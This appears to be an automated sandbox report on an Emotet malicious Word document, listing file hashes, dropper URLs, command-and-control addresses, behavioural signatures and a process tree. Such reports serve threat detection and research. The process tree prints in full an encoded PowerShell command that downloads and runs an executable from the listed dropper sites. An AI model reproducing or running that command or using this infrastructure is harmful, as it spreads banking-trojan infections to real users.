emotet | 15e6a2e86090b828cc6be0aba08cfc3ed663209595f77e8c6d06c1ddf494a4f2

Analysis

max time kernel
136s
max time network
140s
platform
windows10_x64
resource
win10v200722
submitted
12/08/2020, 15:56

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General

Target
emotet_e2_15e6a2e86090b828cc6be0aba08cfc3ed663209595f77e8c6d06c1ddf494a4f2_2020-08-12__155346._doc.doc
Size 229KB
Sample200812-s62b4bf3he
SHA256 15e6a2e86090b828cc6be0aba08cfc3ed663209595f77e8c6d06c1ddf494a4f2
MD5 d752a0d0826eeedd57896d224c976875
SHA1 70875f088109b09536b2215593ec7ba65dde1be6
SHA512 d7bc04161fc023b28471797982ba06d3dd58a2974cdb284bd7d093b16cf86654b0ee18a34b4cf820176b76a512861fdb8738004d94257fe2cfa7971c7b7f9d51
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://innovatex24.com/catalogmap/tbrc_l6q4g_bq0g4598kw/
exe.dropper
http://jonsonen.com/old/ow_0q4_y02/
exe.dropper
http://nuwaraeliyataxis.com/wp-admin/ynfpz_vw_fm/
exe.dropper
https://inquimais.com/plugins/rmkq_c_i8/
exe.dropper
http://armahouse.com/wp-includes/bf_2g_zqm31/

Extracted

Family

emotet

174.102.48.180:80
88.217.172.164:443
51.75.33.120:8080
62.138.26.28:8080
169.239.182.217:8080
114.146.222.200:80
116.203.32.252:8080
103.86.49.11:8080
74.120.55.163:80
41.60.200.34:80
209.182.216.177:443
157.245.99.39:8080
87.106.139.101:8080
152.168.248.128:443
104.236.246.93:8080
47.144.21.12:443
139.130.242.43:80
181.230.116.163:80
72.12.127.184:443
61.19.246.238:443
222.214.218.37:4143
119.198.40.179:80
47.153.182.47:80
95.179.229.244:8080
5.39.91.110:7080
181.211.11.242:80
76.27.179.47:80
167.86.90.214:8080
70.167.215.250:8080
95.213.236.64:8080
203.153.216.189:7080
81.2.235.111:8080
165.165.171.160:8080
176.111.60.55:8080
142.105.151.124:443
110.145.77.103:80
200.55.243.138:8080
183.101.175.193:80
190.160.53.126:80
104.131.44.150:8080
37.187.72.193:8080
47.146.117.214:80
2.58.16.85:7080
209.143.35.232:80
24.137.76.62:80
153.126.210.205:7080
78.24.219.147:8080
96.8.113.4:8080
91.211.88.52:7080
104.131.11.150:443
62.75.141.82:80
200.41.121.90:80
173.62.217.22:443
201.173.217.124:443
204.197.146.48:80
87.106.136.232:8080
24.179.13.119:80
93.51.50.171:8080
190.55.181.54:443
85.152.162.105:80
74.208.45.104:8080
139.59.60.244:8080
24.43.99.75:80
137.59.187.107:8080
83.110.223.58:443
46.105.131.79:8080
85.105.205.77:8080
107.185.211.16:80
185.94.252.104:443
113.160.130.116:8443
121.124.124.40:7080
5.196.74.210:8080
47.146.32.175:80
199.101.86.142:8080
109.74.5.95:8080
37.139.21.175:8080
168.235.67.138:7080
79.98.24.39:8080
157.147.76.151:80
209.141.54.221:8080
189.212.199.126:443
180.92.239.110:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2332	1332	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4020-14-0x00000000021F0000-0x00000000021FC000-memory.dmp	emotet
behavioral2/memory/4020-14-0x00000000021F0000-0x00000000021FC000-memory.dmp	emotet
behavioral2/memory/3908-17-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3908-17-0x0000000000600000-0x000000000060C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	2332	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4020	862.exe
3908	BthTelemetry.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\D3D12\BthTelemetry.exe	862.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
812	WINWORD.EXE
812	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2332	powersheLL.exe
2332	powersheLL.exe
2332	powersheLL.exe
3908	BthTelemetry.exe
3908	BthTelemetry.exe
3908	BthTelemetry.exe
3908	BthTelemetry.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2332	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
4020	862.exe
4020	862.exe
3908	BthTelemetry.exe
3908	BthTelemetry.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4020 wrote to memory of 3908	4020	862.exe	74
PID 4020 wrote to memory of 3908	4020	862.exe	74
PID 4020 wrote to memory of 3908	4020	862.exe	74

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_15e6a2e86090b828cc6be0aba08cfc3ed663209595f77e8c6d06c1ddf494a4f2_2020-08-12__155346._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:812

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAE0AUgBFAE8AaQB4AG8APQAnAEYAQQBJAEcAWgBlAGIAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAHUAYABSAGkAdABZAHAAUgBPAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAFQAVABEAFEAZgBrAGQAIAA9ACAAJwA4ADYAMgAnADsAJABLAEoARwBUAEIAcQBoAGYAPQAnAEcASABSAFEAUwBjAHkAbwAnADsAJABXAEQAWQBLAE8AdgBzAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQAVABUAEQAUQBmAGsAZAArACcALgBlAHgAZQAnADsAJABSAFAAUQBNAFoAZwBtAGIAPQAnAE4AVABQAEMASQBqAGkAcwAnADsAJABBAEUASgBWAEYAawBlAHoAPQAuACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAFUAWQBCAEwARAB1AGIAeQA9ACcAaAB0AHQAcABzADoALwAvAGkAbgBuAG8AdgBhAHQAZQB4ADIANAAuAGMAbwBtAC8AYwBhAHQAYQBsAG8AZwBtAGEAcAAvAHQAYgByAGMAXwBsADYAcQA0AGcAXwBiAHEAMABnADQANQA5ADgAawB3AC8AKgBoAHQAdABwADoALwAvAGoAbwBuAHMAbwBuAGUAbgAuAGMAbwBtAC8AbwBsAGQALwBvAHcAXwAwAHEANABfAHkAMAAyAC8AKgBoAHQAdABwADoALwAvAG4AdQB3AGEAcgBhAGUAbABpAHkAYQB0AGEAeABpAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHkAbgBmAHAAegBfAHYAdwBfAGYAbQAvACoAaAB0AHQAcABzADoALwAvAGkAbgBxAHUAaQBtAGEAaQBzAC4AYwBvAG0ALwBwAGwAdQBnAGkAbgBzAC8AcgBtAGsAcQBfAGMAXwBpADgALwAqAGgAdAB0AHAAOgAvAC8AYQByAG0AYQBoAG8AdQBzAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGIAZgBfADIAZwBfAHoAcQBtADMAMQAvACcALgAiAFMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBUAFEATwBHAGMAZQBoAD0AJwBOAEsAUQBFAEIAcABqAHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEsAWQBXAEEAVgBjAHYAYgAgAGkAbgAgACQAVQBZAEIATABEAHUAYgB5ACkAewB0AHIAeQB7ACQAQQBFAEoAVgBGAGsAZQB6AC4AIgBEAG8AdwBOAGwAYABPAGAAQQBgAEQARgBJAEwAZQAiACgAJABLAFkAVwBBAFYAYwB2AGIALAAgACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEwAWQBKAEEARwB6AHUAdQA9ACcARABFAFoASQBIAHoAbABpACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAVwBEAFkASwBPAHYAcwBjACkALgAiAEwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADYANQA5ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAYQB0AGUAIgAoACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEQASQBOAEkAUwB5AHoAcgA9ACcASQBTAFoAUwBTAGIAeAB1ACcAOwBiAHIAZQBhAGsAOwAkAFAATQBRAFQATABxAGIAZAA9ACcARgBDAFIAVABTAHQAaABuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAUABSAEIASABoAHEAbQA9ACcARABMAEgARwBKAGYAZQBzACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Users\Admin\862.exe
C:\Users\Admin\862.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Windows\SysWOW64\D3D12\BthTelemetry.exe
  "C:\Windows\SysWOW64\D3D12\BthTelemetry.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/812-4-0x00000173D64AF000-0x00000173D64B4000-memory.dmp

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memory/812-2-0x00000173D64AE000-0x00000173D64AF000-memory.dmp

Download

memory/812-5-0x00000173D4090000-0x00000173D4095000-memory.dmp

Download

memory/812-6-0x00000173D66E9000-0x00000173D66EE000-memory.dmp

Download

memory/812-7-0x00000173D66E4000-0x00000173D66E9000-memory.dmp

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memory/812-8-0x00000173D66E9000-0x00000173D66EE000-memory.dmp

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memory/812-1-0x00000173D64AF000-0x00000173D64B4000-memory.dmp

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memory/812-0-0x00007FF916C60000-0x00007FF917326000-memory.dmp

Download

memory/812-3-0x00000173D64AF000-0x00000173D64B4000-memory.dmp

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memory/2332-11-0x00000235616D0000-0x00000235616D1000-memory.dmp

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memory/2332-10-0x0000023549220000-0x0000023549221000-memory.dmp

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memory/2332-9-0x00007FF90F1C0000-0x00007FF90FBAC000-memory.dmp

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memory/3908-17-0x0000000000600000-0x000000000060C000-memory.dmp

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memory/4020-14-0x00000000021F0000-0x00000000021FC000-memory.dmp

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